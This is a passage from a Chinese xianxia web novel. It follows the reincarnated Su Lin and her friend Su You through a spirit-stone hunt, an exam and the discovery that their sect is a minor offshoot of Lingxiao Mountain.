她恍恍惚惚地从窗户飘了出去,飘过窗口那棵桃树时,看见光秃秃的桃枝上冒出了好些粉白的花苞,沉郁的心绪倏然打开,嘴角不禁微微翘起,感叹道:“春天来了啊!”
“苏林”轻飘飘的,被一阵风吹落在后山,她像一片落叶轻轻地舒展在山坡的浅草坪上,随遇而安地躺好,头枕手臂,摘一棵野草叼在嘴角,晒太阳。
苏林安逸得忘我,又记起残存的一些往事,寻摸了半天,突然反应过来,为什么留下的都是些不太开心的回忆?
她这么一发现,再仔细一回想,还真是,前世虽成了师尊,可总是不大开心。
她思来想去也想不明白,反而在一片暖洋洋的余晖中睡着了。
太奇怪了,睡梦中还能睡着。
“苏林”察觉到外面光影移动,天色已经暗下来。
不知过了多久,她从梦中梦醒来,以为会是黑漆漆一片,不料睁开眼,映入眼帘的是满苍穹的星光。
从前觉得黑漆漆的竹林,也在明亮的月光下变得格外不同,有一种温柔的冷色,草丛中有虫子在振翅,还有虫鸣。
“苏林”虚虚地爬起来,坐在山林间,一瞬间仿佛打通了心窍,她感受到这世界的美妙与温柔,没有一处是冷刺刺的,就连穿草而来的小蛇,也是摇头晃脑地可爱着。
她忽然想起师尊生前对自己说的的一句话:法术高强不一定无畏,心中不惧才能无畏。
从前的她一直不懂,觉得师尊说得不对,人没有法术傍身,怎么能不怕?
现在她终于懂了,那样紧张地不断让自己强大,正衬托出自己内心的恐惧。
苏林忽然想起一个问题,她从前为什么活得那么苦哈哈的呢?
年纪轻轻的,风华正茂却总搞得悲怆得很,心中似乎总憋着一口气,要出人头地让人崇拜,出人头地又是为了什么?
是为了让人看得起?
那前提就是自己认为当时大多数人是看不起自己的,一个小孩子,被人看不起,大概是因为出身家庭而自卑吧?
苏林叹了一口气:原来自己是不大满意自己的出身啊!
其实现在想来,他们多好呀!父母虽然吵吵嘴,但是相互敬爱,对自己也很好,一家人过得拮据些,可就算当时回忆起来也多是快乐的场景,大可不必与旁人比较。
但是十多岁的自己并不懂这些,白白浪费了这一切。
苏林转念又想,如今父母都已不在,从前欺侮过自己的人也都......哦,法力高深的都还在呢!
去复仇吗?
好像没那个心力,就是想想都没劲。
算了吧!
那自己这辈子该怎么活,为什么而活呢?
这是个问题,苏林想了半天也没想出结果,就这么先过着吧,想出来再说吧。
一阵风从竹林间传林而来,簌簌地牵动好大一片草木虫鸟,直奔“苏林”而来。
苏林心下一慌,这不得掀天上去啊,那得落在哪儿啊?
就在她忧心的时候,突然感觉头顶出现一张网兜头罩住自己,还没等她反应过来,刷地一声,陡然被拉回到自己的身体上。
苏林终于睁开眼,速度快了些,眼睛瞪得跟鹌鹑蛋似的滚圆,吓了周围人一跳。
“哎呀哎呀,醒了醒了,太好了!”苏佑高兴地大叫,“你饿不饿,还吃蛋吗?”
苏林眼珠子朝声音这边转了一下,看到苏佑白胖胖的大脸上一脸期待,不禁又好气又好笑。
苏佑赶紧从兜里摸出两个拳头大的蛋。
苏林无语到无话可说,只能笑起来。
她这一笑,让紧张兮兮的段草堂班长大松一口气,他把苏佑庞大的身躯拨到一边,露出他和另一个少年。
苏林看清这少年,不禁眼前一亮,这少年生得真好,眉目舒展,眼神明亮,就是表情淡淡的,应该属于又冷又傲的性格。
巧得很,他的班牌翻过来了,正好姓冷。
那少年瞧见苏林正看自己腰上的班牌,见苏林念完“冷”字,嘴合上了,嘴唇紧闭蓄力马上要爆出一个音来,他急忙开口打断:“‘杉’,冷杉,不读‘彬’。”
苏林闭嘴,把气息憋了回去,看他这么淡定熟练,估计从前没少被人读错,不禁好笑,说:“冷杉,你好,我叫苏林。”
冷杉冷冷地一点头。
苏林想起来,这孩子好像是他们这届的第一名,天资好,没想到长得也这么好。
“你感觉怎么样?还有哪里不舒服吗?”段草堂问。
苏林动了动胳膊腿,又深吸一口气,感觉没有异样,她其实知道发生了什么,自从入定,她就一直处于一种灵魂飞升旁观者视角,发生的事情看得清清楚楚。
但这不正常,她只好当做不知道,说:“没事啊,发生什么事情了?我怎么会在这里?”这里既不是教室也不是宿舍,很清雅简单的一间卧房。
苏林问完这话,在场的三人你看看我,我看看你,讳莫如深,还是段草堂说:“哦,这是客房,莫师尊带你行气,不知怎么的,你晕过去了,这里近,就把你安置过来了。莫师尊已经替你检查过,没有大碍,可能是因为你身子太弱,师尊气息太强,一时没承受住,没有大碍的。”
苏林心想:“他强?连我这小菜鸡的气脉都冲不开,能得他!”
段草堂说:“诺,莫师尊觉得过意不去,特地留下了一丸灵丹,给你补气血,还说,如果有什么不舒服的,可以直接去找他。”
苏林明显感觉段草堂说这话的时候,又酸又羡慕。
段草堂从怀里慢慢捧出一个小小的红木盒子,小心地打开锁子,又掀开盒盖子,露出一颗鹌鹑蛋大小的褐色丸子。
苏林起先还认真看着,好奇莫怀仁能给她留个什么好东西,等盖子一打开,那股味道一窜出来,她顿时委顿,心下吐槽:“不是吧!莫怀仁你好歹是个师尊啊,失手误伤人,就留这个啊!”
这丸子当年她吃的太多了,就是寻常学子进门时常用的滋补丸药,灵草只有一丁丁,可以算几乎没有,因为主要有六味药,所以叫六味补气丸,实在是又大又难吃,不仅苦还有股古怪的酸臭味,吞又吞不下去,咬又一口渣渣,他们都叫这丸子“羊屎蛋”,别称“狗蛋”。
六味补气丸有强身健体、补血益气的作用,但对修仙者效用不大,只在练气初期用一用,拜入师门后就有各自适合的高级灵丹灵药替换了。
记得当年闫林秀他们进山门就发了,人手一盒,还规定一日三餐,每次一粒。后来修行越久,
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这丸药药效越弱,只好加大分量,吃得闫林秀等一干同窗闻“蛋”色变。
当是什么好东西呢?
还灵丹!
苏林好歹忍住没翻白眼。
苏林实在不想嚼得满口渣,但架不住段班长、冷同窗和白胖子殷切的目光,莫非这颗丸子表面是补气丸,其实是伪装成补气丸的真灵丹?
当年她跟莫怀仁投在不同师门下,还说不好真是他们那边的好东西。
苏林将信将疑,又嗅了嗅,可味道也没差别,管他呢,万一真是好东西呢?
她两眼一闭咬下去,果然味道很熟悉,熟悉得想吐,赶紧捂嘴,伸直脖子哽下去。
“水!水!”苏林急忙喊,也不知谁把水杯塞到她手上,苏林才就着这口凉水把“狗蛋”吞下去,满嘴都是怪味的渣滓,真像一口“SHI”。
苏林被这口冲得生理性反胃,脑仁都疼了,都怀疑是不是莫怀仁把她认了出来,小肚鸡肠为报前仇,故意给她吃这玩意儿,恶心她。
太奸诈了!
她这里眼泪哗哗伤了大心了,转眼看见段草堂眼巴巴看着自己,就连冷杉小朋友都不眨眼地盯着自己,那稚嫩的脸上分明写着“羡慕”两个字。
苏林没闹明白,低头看了看自己,又想了想----他在羡慕自己吃这颗“狗蛋”?
苏林视线一转,正对上苏佑亮晶晶的小眼神,他脸上露出姨母般的笑容,一脸满足。
这是什么表情?
苏林还没想明白,就听耳边一声由衷地感慨:“啊,吃了就好了,这可是灵霄山灵丹啊!”段草堂口气里那是毫无遮掩赞叹和羡慕。
苏林又回味了下嘴里的余味,想yue,不禁莫名其妙:是补气丸没错啊?什么灵丹?“狗蛋”何德何能,啥时候也挤进“灵丹”范畴了?
“你感觉怎么样?”苏佑在一边小心翼翼地问。
苏林奇怪他怎么又问一遍,这孩子心善,就是有些啰嗦,便又答道:“没什么事,挺好。”
“没什么事,那就回去休息吧,马上就快开饭了,你们别错过饭点。”段草堂对苏林说话,却笑看着苏佑,四人见状都笑了。
苏佑抱着两颗鸟蛋站起身等苏林。
苏林看得好笑,又感动,怕迟了让苏佑挨饿,赶紧跳下床,边提鞋子边往外走,说:“今儿你多吃点儿。”
等他俩走到门口,发现段草堂和冷杉并没有跟出来。
苏林准备回身喊他们一起,被苏佑一把扯走了。
走了几步,苏佑才小声说:“莫师尊住这里,等下他巡视完还要回来的,他俩找师尊有事,咱们先走。”
苏林好奇:“啥事?”
苏佑歪歪头,说:“我也不知道。”
他俩刚走到回廊上,就看见莫师尊领着一行人从另一边过来。
莫怀仁一派仙风道骨走在最前面,举手投足气势颇足,一派宗门大佬的样子。
看得苏林很不爽:切,不就是个师尊嘛,谁又不是呢?
她又想起方才的喂丹之仇,心下更加不爽。
苏林看莫怀仁眉心的红印仍在,便用两边人都能听见的声音“天真”地问苏佑:“师尊后来表演拔罐了吗?怎么拔在眉心那个位置,好别致啊!”
众人闻言一惊,不多时,有人开始憋笑。
始作俑者还敢挑衅!
苏佑赶紧把苏林拖到柱子后。
苏林偷偷看到莫怀仁明显顿了一下,却还要保持师尊风度,明明呕的要死,还得装虚怀若谷。
苏林心下大笑,感觉心情十分畅快。
5. 第 5 章
不过话说回来,“狗蛋”难吃是难吃,但对现阶段的苏林非常有用,她感觉自己的身体突然就强壮了几分,平时怕凉的身体也热烘烘的,像有一股小火苗在身体里燃烧,源源不断地给她提供热量和力量,说话比以前底气足,连脑子都灵活些了。
一听段草堂在班上宣布修行要按小组考核时,马上就联想到了段草堂冷杉留下的一幕。
她撇了撇嘴,都能想到这规定是哪些人弄的,之后又会有些什么操作。
本来各凭本事,这一分组套路就多了。
“修行不是个人的事情吗?为什么还要组队,有人打扰好烦人啊!”有人问。
段草堂清了清嗓子,语重心长地说:“修行路长且艰险,有人同行才更容易到终点。一个人力量再强,也只有一个人的力量,再大能大到那里去?众人团结一致,拧成一股绳,力量才能更大。而且修行并不是隔绝外物,我们的修行,修的是认识自己,修的是处理好自身与身外万物的关系。当然了,这样分组便于团结互助、因材施教。”
段草堂这段话说得很有水平,苏林忍不住点了点头----这应该是提前准备过的。
“干嘛要认识自己呢?”有人问。
“这个......”段草堂笑道:“这个你们以后会悟到的。”
苏林一笑----看来这题他没准备。
“认识了自己才能坦然面对一切啊。”苏林老气横秋地回答了问题,但声音很小,因为她知道,说了也白说。
有人举手问:“为什么考核要按小组的成绩而不是个人成绩呢?若是有个人成绩最好,可是分了糟糕的队友拖后腿,最后被刷下去了,不是很冤吗?组队可以组队,但考核成绩能按照个人来考核吗?”
段草堂说:“我可以把你的意见反映上去,但等规则更改之前,按我刚才宣布的做。”
他不再理会其他问题,开始宣布组队规则:“大家可自己先行组队,每组两人到四人不等;也可以到我这里报名,听安排组队。明天下午公布最终结果。”
苏林记得从前没有组队一说,应该是后来变的,不过组不组队对她来说没什么关系,她又不想出人头地,只不拖累别人就好。
别人在热火朝天拉队友的时候,苏林安安静静地照常坐在餐桌前。
经过一个白天,队伍已经分得大差不差,三三两两的落座次序已经能看出苗头,苏林和苏佑这桌依然只有他俩,毕竟苏林是敢正面刚师尊的人,她的威名再一次震慑山头;毕竟这俩是倒数一二。
一整天都没有人来邀请他们。
苏佑问:“要不我们俩组队?”
苏林瞥了他一眼,答:“行。”
于是他俩组成了“双苏”小队,怎么听都像“双输”。
他俩组完队,准备进入正题开始吃饭,对面竟然坐下两个人,一个是冷杉,另一个是个虎头虎脑的少年。
冷杉对二人颔首算是打了个招呼。
那少年却不怎么在乎,提起筷子就直奔桌上的蹄髈。
苏林转眼去看苏佑,却发现他没动!
这不像他的风格啊!
苏佑这顿饭吃得非常收敛,等对面两人放了筷子,才重新恢复旧态。
苏林已经吃好,坐在一边边喝茶边看苏佑,苏佑嘿嘿一笑,说:“你认识他么?”
自然指的是那个虎头虎脑的少年。
苏林摇头。
苏佑眼神一亮,肉眼可见地兴奋起来:“他叫王小虎。”
说完更加兴奋地看着苏林,期待苏林接话。
苏林无语,这才发现这冬瓜最爱的不是吃,应该是八卦,不咸不淡地递了一句:“谁啊?”
果然,苏佑更加起劲了,说:“灵霄山一长老的孙辈,记得上次你受伤那次,段班长和冷杉留下,肯定就是为了这事儿。还有,你知道么,段班长竟然是冷杉的表舅,都说外甥肖舅,他们长得根本不是一路人啊......”
苏林想了想,不大明白,冷杉是第一,不应该是王小虎求着跟他组队带飞,怎么反过来了?
苏佑看出苏林的疑惑,说:“哎,咱们入学只是测了天资,可天资是可以靠灵丹仙草堆上去的,谁跟他一组,为了不拉后腿,肯定也能分点儿好东西呗!”
苏林一想也是,大部分人的天资相差不大,冷杉第一也并非天纵奇才的那种天资,王小虎补补丹药的确可以超越他。
说到天资,苏林转头看向苏佑。
她奇怪苏佑对课业也不怎么上心,就这些天来,好像除了吃饭准点,上课从未准点,迟到早退比她还凶残。
没等苏林问,苏佑就先说了:“我来灵霄山就是为了吃饱饭的。我们家人生来都能望气,我曾祖爷爷、祖爷爷、爷爷都进了灵霄山初云馆,可都没招感成功,而后回去摆个算卦摊子,日子过得也还行。但到我爹这儿,他有点不甘心,出去寻道,一直没回来,我娘养不活我,就把我送来了。我也就不强求了,只求吃饱就好,还下山去开算卦摊子,娶个媳妇儿,过日子。”
苏林点点头,心想:很好,这就不怕耽误他了。
“有理想、有前途,英雄所见略同。”苏林拍拍苏佑的肩膀,两个人勾肩搭背地出去逍遥了。
初学可以很艰难,废寝忘食的学,卷成翘楚;也可以很轻松,饱食终日的混,躺成垫底。
苏林和苏佑显然是后者。
从组队以后,苏林便常常跟苏佑去满山找野果子。反正苏林不想卷,修行不怎么上心,打算在灵霄山胡混一世。
苏佑的功课也只求过得去,并不怎么勤勉。用他的话说,修成了要辟谷,那么多好吃的吃不了,没劲。
两个人算得上志同道合吧!
玩耍是快乐的,快乐的时光总是过得飞快。
转眼一年过去,开始学年考核。
“双苏”本就垫底,没什么心理压力,但还是对此次考核表现出了充分尊重。
两个人早早来到教室,按照打乱的位置坐好,准备上午的识字和道德两门笔试。
苏林的座位在最后一排的靠窗的角落,挺好,挺幽静。
她无聊看了看周围的人,斜前排正好坐着冷杉,他往苏林这边扭头笑了一下。
他俩上次之后就再没打过交道,冷杉自然也不是跟她笑。
苏林顺着冷杉的目光看向自己前面的位置,只能看到个大脑袋,但身上的衣服显示这人是高人侄孙王小虎。
苏林呵呵一笑,暗道:这位置倒是挺好的,犄角旮旯的;而且挺巧,两个人坐一块儿。
不像她和苏佑,分到两个最远的角落,好像大多数队伍都岔开了。
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不过,又关她什么事儿呢?
苏林早就想好了,随便填个名字交了了事----她跟苏佑商量好,上回苏佑倒数第一、这次苏佑让给苏林,苏林交白卷,苏佑意思意思写点儿。
再者,苏林心里还有点儿事,她昨晚在小溪里的捕鱼笼子得早点儿取出来,不然被人发现就白忙活了。
考官是两个没见过的师兄,两人一前一后从考场对角两个位置开始发试卷。
苏林竟第一个拿到了卷子,他一看,乐了。
这题目怎么这么熟悉?
苏林想起来了,这还是闫林秀那时候轮值督学的时候出的几套试卷中的一套,这么多年了,用同一份题库,有没有创意啊!不怕有人背熟题库作弊么?
苏林好笑:这还有什么好考的?这不跟大炮打蚊子一样简单么!
她刚想丢笔,不知怎么回事,写完名字后,笔尖突然就落在了空格线上,画了一个“×”。
写完她回过头再看目----嗯,的确是错。
接着看下一题,应该是“√”。
好,第三题......
不对!
苏林突然打住,有点懵,自己这是在干什么?不是打算交白卷么?
但这份试卷就像有魔法一样,让她的眼睛不自觉就落在了试题上,脑子不受控制就开始思考,手更像被夺舍一样开始写答案,奇怪的知识像不要钱似的从脑子里蹭蹭蹭蹭往外冒,苏林想努力控制自己,但怎么也拉不住疯了一样的自己。
以前她一直不理解什么是求贤若渴,求贤怎么会渴呢?但她此时此刻,突然就顿悟了,这就是渴!就是这种渴!
看到这份试卷,她的身体就跟饿了三天看见肉骨头的狗,都疯了,拉都拉不住地扑上去。
我卡,这难道就是传说中的肌肉记忆么?
知道自己从前爱做题,没想到这么爱做题啊!
尝试了几次,苏林放弃了抵抗,彻底舍弃理智,把身体交给情绪。
没多久,苏林任凭她的□□刷刷刷地答完了全部考题。
她最后的挣扎就是没有检查,咬着牙把试卷交了上去。
而那边苏佑本来看着苏林行事,左等右等,没见苏林交卷,回头一看,看见苏林竟然在奋笔疾书!
苏佑心里一声“我艹”没忍住:这是要骗他垫底,自己去独自优秀?
这就不单单是考试的事情了,这是友谊破碎、信任崩塌、人品奸诈、被人欺骗!这是倒数第一和倒数第二的争夺战了!
于是苏佑也认真起来,因为他家学传承颇有渊源,一道道题目做起来也不觉得多难。
眼见快答完试卷,苏佑看见苏林站起身---这是要交卷,顿时不知激发出他体内什么潜能,竟脑袋一热,全情投入,只觉得浑身热血沸腾,手臂和半边身体都开始超负荷运转,下笔速度跟闪电一样,直到完成最后一道题。
赶在苏林左脚迈到门槛边时,苏佑蹭一下站起身,目光如电地紧紧盯住苏林,颇为慷慨壮烈地把试卷往考官身前一挥,潇洒地挤开苏林,率先冲出了教室。
当天晚上,成绩出来,苏林和苏佑的大名赫然排在榜首,两人单科与冷杉等人并列第一,但小组人均分排名以一分的微弱优势战胜冷杉小组,夺得第一,成为此次期末的黑马。
6. 第 6 章
苏林看到排名,人都懵了。
第一?
第一这么容易的吗?
旁边的苏佑也呆呆的。
两人默默对视一眼,突然从彼此眼中看到一抹精光闪过,两人清澈的眸光中出现了毫不遮掩的野心——既然胜利这么容易,那索性就赢下所有!
第二天是体术测试,规则贴在排行榜的旁边:
目的:寻找灵石
时间:一天
地点:后山
排名依据:小组找到的灵石的人均数。
这个告示真是简单明了,苏林和苏佑一条一条往下看,眼睛越看越亮,精神越看越亢奋,斗志越看越昂扬。
这不就是为“双苏”小组量身定做的项目吗?
他俩翘课干嘛,不就是去后山上野么,山里哪个犄角旮旯有个狗洞他俩都知道,更因为苏佑会望气,微薄的灵气波动他也能感受到,还找什么,那不就跟白捡一样?
两人因为即将到来的胜利,断然忘却前嫌,颇为中二地击掌,握手,心照不宣地狠狠点了点头。
胜利就是他们的!
随着发令鼓敲响,各小队纷纷涌入山中,像一条条蜈蚣窜入草林,留下一道道痕迹。
其中有一团痕迹停住了。
苏林苏佑两人头顶着头,趴在一块大石头上画图,苏佑根据所看的灵气波动,画出后山灵石投放点,然后根据他们所在位置,开始设计路线。
为了尽可能多地获得灵石,必须规划最简洁的路线,尽量减少绕路。
苏佑画了几次,不能全部覆盖,只能舍弃周围太远的几个。
苏林忽然抢过苏佑的笔,说:“我来!”说罢把苏佑拨开,然后在全是小点的后山地图上开始连点划线。
苏林从外圈开始画线,小心翼翼连结经过的点,大致呈螺旋状往里发展,但越到内圈,点越凌乱,没法一笔全部都连到,苏林僵在那里思考。
苏佑等了等,说:“老大,咱们这是路线图,不是一笔连点游戏,应该是可以重复和交叉的吧。”
......
这该死的肌肉记忆!
苏林赶紧把最后几个点连起来,两人按照路线出发。
其实对这些进入山门求学已经一年的同窗来说,在后山翻山越水不难,难在找到灵石。
灵石有不同等级,会发出白、青、蓝、紫等不同颜色的荧光,紫色最难得,他们用来测试的都是最便宜的白色。修为到了一定程度能隔很远便感应到这种荧光,初年的小孩子们道行不够,只能近距离用眼睛观察。灵石只有核桃大小,春天山中草木茂盛,很不容易发现。
所以其他小组都是先入山,找一块最熟悉、地形比较平坦、草木较少的地方落脚,然后分头一寸一寸地找。
远远望去,后山北面靠近小溪的地方聚集了大部分小组,各个小组默契地划定一块自己的地方,然后埋头寻找,互不干扰。只有少数小组深入地形较险的南面。
而苏林苏佑就不同了,直奔最近的标记点,几乎是毫不费力地拿下一颗灵石。
但这个速度不算最快,冷杉王小虎已经拿到两颗,还有其他几个小组也拿到了一颗。
问题出在路线规划上,他俩画图的时候没注意地形差异,把所有地形当成平面,等奔向第二颗灵石的时候就发现,眼前是断崖......
好不容易翻山越岭,到了崖底,拿到第二颗灵石,再抬头,发现第三颗灵石在对面山顶......
再有天眼、再熟悉地形也经不起这样造啊!
两人痛定思痛,决定重新规划路线,果断舍弃掉路程太难的灵石,往地形起伏不那么大的中部靠,离北边大部队有点距离,又能保证行进速度。
这个策略很正确,不多时,他俩就已经拿到了8颗灵石。
“我们一共76个人,76颗灵石,我们俩就拿了8颗,那就占了6个人的名额了。”苏佑说。
苏林顺手砍断一根拦路的竹子,口中念念有词:“我们一共有20支队伍,那至少有2支、至多有6支队伍达不到人均1颗了,我们倒数第7是保底了。”
“真的吗?”苏佑闻言很高兴:“你算数真好!”
他俩边走边在心里掂量:两个吊车尾能有这样的成绩,再加上前一门,前十是稳稳的了,挺满意的。
两人的速度明显慢下来,苏佑体重大,拖着腿跟在后面,终于汗涔涔地往旁边大树上一靠,问:“老大,你饿吗?”
苏林跑了大半天路,也饿了,看他一眼,问:“你又有蛋?”
苏佑真从怀里掏出一个布包着的小包袱,解开包袱,里面是一包瓜子。
“昨天考试去了,没时间去找吃的,只有这个了。”苏佑把瓜子递给苏林,说:“好歹也有仁。”
苏林好笑,两人便坐下来,一起嗑瓜子,“咔嚓”“咔嚓”......这玩意儿越磕越香,越磕越想磕,根本停不下来,而且还越磕越饿,眼看两人手速越来越快。
就在两人上演嗑瓜子竞速的时候,苏佑的手突然停住了,他疑惑地看着前方,口中说:“咦,灵石,会动的灵石,会动的一堆灵石?”
苏林还没明白他说什么,正高兴自己能多抢两颗瓜子儿,就见从山坡上突然跳下来一条黑影,落在他们面前。
苏林正磕得欢,被吓得一跳,定神一看,原来是冷杉。
“就是这里,起码有八个。”冷杉身后有个声音跟着。
紧接着王小虎踉踉跄跄也出现在山坡上,他没看路,只盯着手里的一个巴掌大的白玉盘子,一脚踩空,险些从坡上滚下来,幸亏抓住了一根树根,才没翻跟头,而是顺势坐着滑了下来,一抬头,就看见了苏林和苏佑。
以往的苏林和苏佑是不在王小虎眼里的,可这俩人昨天半路杀出来,竟然赢了他和冷杉,他顿时就把这两人放在了心里,已经把苏林和苏佑认定是藏拙的厉害角色,就连“肉串”苏林和苏佑的“肉山”,都成了有力证据。
王小虎赶紧爬起身,往冷杉身后靠了过去。
冷杉手里竟然抓着一把短剑,护住身后的王小虎。
苏林看这架势,又瞧见王小虎腰上鼓鼓囊囊的一包,应该是灵石,这还有什么不明白的?这么短时间内根本没法找齐这么多灵石,只有抢!
苏林想明白这点,心里头咯噔一下,她只知道冷杉天资最好,但武术方面实力如何,她不知道啊!
家里大人能给他配短剑,应该是学过的。她这里自从串“肉串”之后就认清了自身实力,空有一肚子理论,没法实践。自己辛辛苦苦捡的灵石,别真被抢了,想想都悲催。
对面冷杉看到苏林苏佑稳稳坐定,毫不惊慌,心里也是咯噔一下,深感自己大意,怎么没想到能有八颗灵石的小组也不会是什么善茬;更要命的是这两人根本就没在人前展现过自身实力,不知道打不打得过,别抢劫没抢成,反被抢,那就亏大了。
双方都拿不准对方实力,一时间
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,八目相对,场面僵住了。
苏林默默等了会儿,见对方没话也没动静,心里头就明白了,搞了半天原来对面也没把握,那这就好办了,比心态,她两世为人,谁能比过她?
她悄声问苏佑:“规则里,提没提这?”
苏佑长得憨憨的,但人也机灵,早猜出冷杉王小虎的来意,听苏林问他,想了想,摆头说:“没。”
没提那就是可以啊!
自己怎么就没想到这茬呢?
从前的自己、自己的那些老同窗也没想到这茬。
真是善良、单纯的孩子啊!
但这才第一年,初年还有两年,都是抬头不见低头见的同窗,这梁子结下了,往后两年还怎么处?
这么激进,难道是为了奖励?
年考奖得很重吗?
苏林记得闫林秀那会儿,当年第一名也就多几颗“狗蛋”,多几根灵草,师长表扬几句,还给个会生锈的脸盆大的奖牌。
这奖重么?
重也不重。
当时觉得了不得,真心实意羡慕得了的人;现在想来都不算事。
苏林想明白后,吐了嘴里的瓜子壳,掸干净衣服上的渣渣,从容起身,对冷杉和王小虎说:“都是同窗,来日方长,抬头不见低头见的,不过是个学年测试,没必要,真没必要。这么点儿奖,现在看,可能很重要;可等十几、二十年后,再回过头一看,又算得了什么呢?在漫漫人生里,又能影响什么......”
“影响很大!”
苏林的话还没说完,就被人打断。
打断他的人还不是冷杉和王小虎,而是她身后的苏佑,苏佑扯住苏林的衣袖,凑到苏林身边,说:“老大!能上灵霄山,对修道之人来说,影响很大!”
苏林眉头一皱,上下牙齿一咬,重重地吐出一个字,问:“‘上’?”
苏佑一惊,没想到苏林前一秒还在谈人生,后一秒瞬间就发出突袭信号,别说对方了,就是他,都快被麻痹了。
原来,这才是老大的真实意图、真正策略!
苏佑得到信号,热血上头,“蹭”一声站起来。
余光瞥见旁边苏林坐着没动!
他心里一声“我艹”再次没忍住----又骗我!
对面冷杉和王小虎不知道苏佑的心理活动,他俩本来就没底,见对方前一秒还在和谈,下一秒就动手,这是对自身实力非常自信啊!
而且苏佑虽然白嫩嫩的,但身材魁梧,站起来比他俩高出半个头,外加面目狰狞,似乎充满怒火,看上去非常危险。
冷杉和王小虎心道:好汉不吃眼前亏,对视一眼,冷杉给个眼神,王小虎转身飞跑,冷杉后退几步见苏林苏佑二人没动作,也反身窜进林子里去了。
苏林坐在原地,看着眼前的一幕都傻了,她不明白怎么说话说得好好的,突然苏佑就冲出去了,不是,她不是都说了“没必要”么?更没料到对方还给吓跑了。
面对苏佑的怒火,苏林很茫然,以为是对敌之怒,放到一边。
她捋了捋思路,回到最初的问题上来,问:“‘上’灵霄山?我们现在不就在灵霄山上吗?”
苏佑一听苏林这句话,顿时就明白过来,自己刚才误会了,原来苏林不是让他“上”,而是在问他那句话里的“上”这个字。
等听明白苏林这句话,苏佑扭头仔细看了看苏林,发现她是真疑惑,回答:“老大,这里不是灵霄山,这里是茅湾啊!”
7. 第 7 章
情绪波动是最消耗体力的。
苏佑一怒,更饿了,又把瓜子从怀里捧了出来,边嗑瓜子边解释:“咔嚓,你知道咱们山上北面那条小溪吗?......忒~你知道叫什么吗?”
苏林则久久震惊,也更饿了,看见苏佑伸出爪子捻瓜子,她几乎本能地跟着伸出手去,都是这一年抢肉练出来的肌肉记忆了。
苏林说:“知道啊!碧水么,咔嚓~”瓜子到手她就忍不住想磕。
“错!不是碧水、是枉水。咔嚓、忒......”苏佑白萝卜似的小胖手,捻瓜子竟然很灵活,咔嚓咔嚓,节奏颇快。
他边忙边说:“咱们这一带的地形,很早以前应该都是山,枉水从山中间流过,把途径的小山包切割成了两半。河的这边,也就是我们这边,岸上长满了茅草,得名茅湾,也就是茅湾派的所在。”
苏佑看苏林蹙眉瞪眼,似是有些不信,又补充道:“从前枉水水量很大,后来渐渐小了,河滩上那么宽一片圆溜溜的鹅卵石就是证据,忒!”
苏林伸手去拿瓜子,发现包里已经没有了,全部转移到了苏佑手上。她一掌拍在苏佑掌心,顺势抓出一把瓜子,激烈地反驳道:“不对吧,我可是去过灵霄山的,你看这些山、这些房子,分明就是灵霄山啊,长得一模一样,好吧,不是灵霄山还是哪儿?咔嚓~”
这里跟她记忆里太像了。
苏佑被偷家,赶紧转过身,把攥着瓜子的爪子护在胸前,又打量苏林的神情不像作假,继续不急不慢地解释:“因为这里是按照灵霄山的格局建的呀!”
他歪头想了会儿,说:“好像是四十多年前吧,听我爷爷说的,那时候,灵霄山上的人越来越多,渐渐住不下了,灵霄山上的十大宗门长老一合计,就决定分流。把部分山头的人整体搬到周边,全部按照灵霄山的模式开山建派,规模比灵霄山上小一些,但该有的都有,算是灵霄山下属的分派,像我们就叫灵山--茅湾派,枉水对岸就是灵山--桃花山派。”
“分流?灵山派还有分派?!忒忒忒~”苏林因为太惊讶,分了神,这片瓜子壳没吐干净,黏在了她嘴唇上。
她心中却想到另一层:现在天地间的灵气已经如此充沛了吗?连小山头都能养出门派了?他们当年可是只有几个洞天福地才有足够的灵气滋养出大的门派。
苏佑瞅着苏林,眼珠子骨碌碌一转,问:“老大,你报名之前没先确定下地名吗?进山门的时候,那匾额上不是写了‘茅湾派’吗?老大三个字啊!咔嚓咔嚓咔嚓~”
苏林心想:我重生醒来就已经在山门内了,什么匾额不匾额的,必然没看见啊!后来就出去过一趟,那会儿太兴奋,谁会没事回头看匾啊?
但这个理由不能说出口。
苏佑见苏林发怔,想了想又问:“茅湾和灵霄山的禁闭室也不一样啊,老大,你不是去过吗?没看出来吗?咔嚓咔嚓咔嚓~”
苏林一滞:上辈子她太优秀,怎么可能跟“关禁闭”这三个字联系起来,人家以前是要上先贤碑的。
“诶,对了那先贤碑呢?”苏林突然想起来,“灵霄山立先贤碑是为了纪念为守护灵霄山陨灭的先贤,茅湾才三四十年,立个碑纪念什么鬼?忒~”
“灵霄山立,其他山头也觉得很有必要立一块,但没啥好记录的,空着不好看,反正说起来也是灵霄山一脉,灵山派先贤也算是大家的先贤,借过来用用呗。咔嚓咔嚓咔嚓。”
还可以这样吗?
苏林感觉脑子有点混乱,肚子还没吃饱,嘴里还想嗑瓜子,想再去偷苏佑手里的瓜子,便用问话转移对方注意力:“那咱们这里这块先贤碑上的名字全吗?”
岂料苏佑早就防备她了,把手心里的几颗瓜子,攥在手里,飞快地磕完:“不知道,应该不全吧!咔嚓咔嚓咔嚓。”
吃完瓜子儿,苏佑摸了摸肚子,还饿,又开始翻包、掏兜,没找见漏网之鱼。
他收回神思,想了想给苏林解释:“这碑还是刚开山立派的时候拓印来的。刚开始咱们是说归灵霄山管,但后来搬出来的门派太多、太远,慢慢的下头跟的也就不那么紧了,上头也不怎么来问,物资什么的供给线拉得太长,灵霄山也有点吃力,后来各分部慢慢独立出来了,到这几十年基本已经是单独的门派了,但功法还是灵霄山的传承。”
想不到短短几十年,这个世界发生了这么多变化。
苏林叹了一口气。
她已经相信苏佑的话了。
毕竟只要去山门看一眼就能戳穿的谎话,苏佑何必说来诓她。
她回想了一下这一年来的所见所闻,原来那些跟记忆不大统一的地方,不是记错了。
难怪看山山矮了。
难怪同窗这么少。
难怪“狗蛋”都能当宝贝。
难怪自己这么差劲的资质也能被收进来......
苏林从最初的震惊中平复下来,有些茫然,虽然心中已经猜到几分,但还是带着渺茫的期望问:“那茅湾派实力比灵山派......”
苏佑闻言五官皱在一起,似乎很难回答这个问题----这孩子天真有趣,没想到这时候竟然长出几分人情世故来,最后挤出三个字:“不好比......”
苏林忍俊不禁:也对,连她这种能把师尊崩倒的人都能得第一......
等一下!
“莫怀仁怎么会在这里呢?他是灵霄山师尊啊!”苏林问。
“师尊巡课。”苏佑答得理所当然,“因为我们名义上还是灵霄山管,每年新班开课,山上都要派人来。”
苏林稍一想,觉得这个办法真不错。
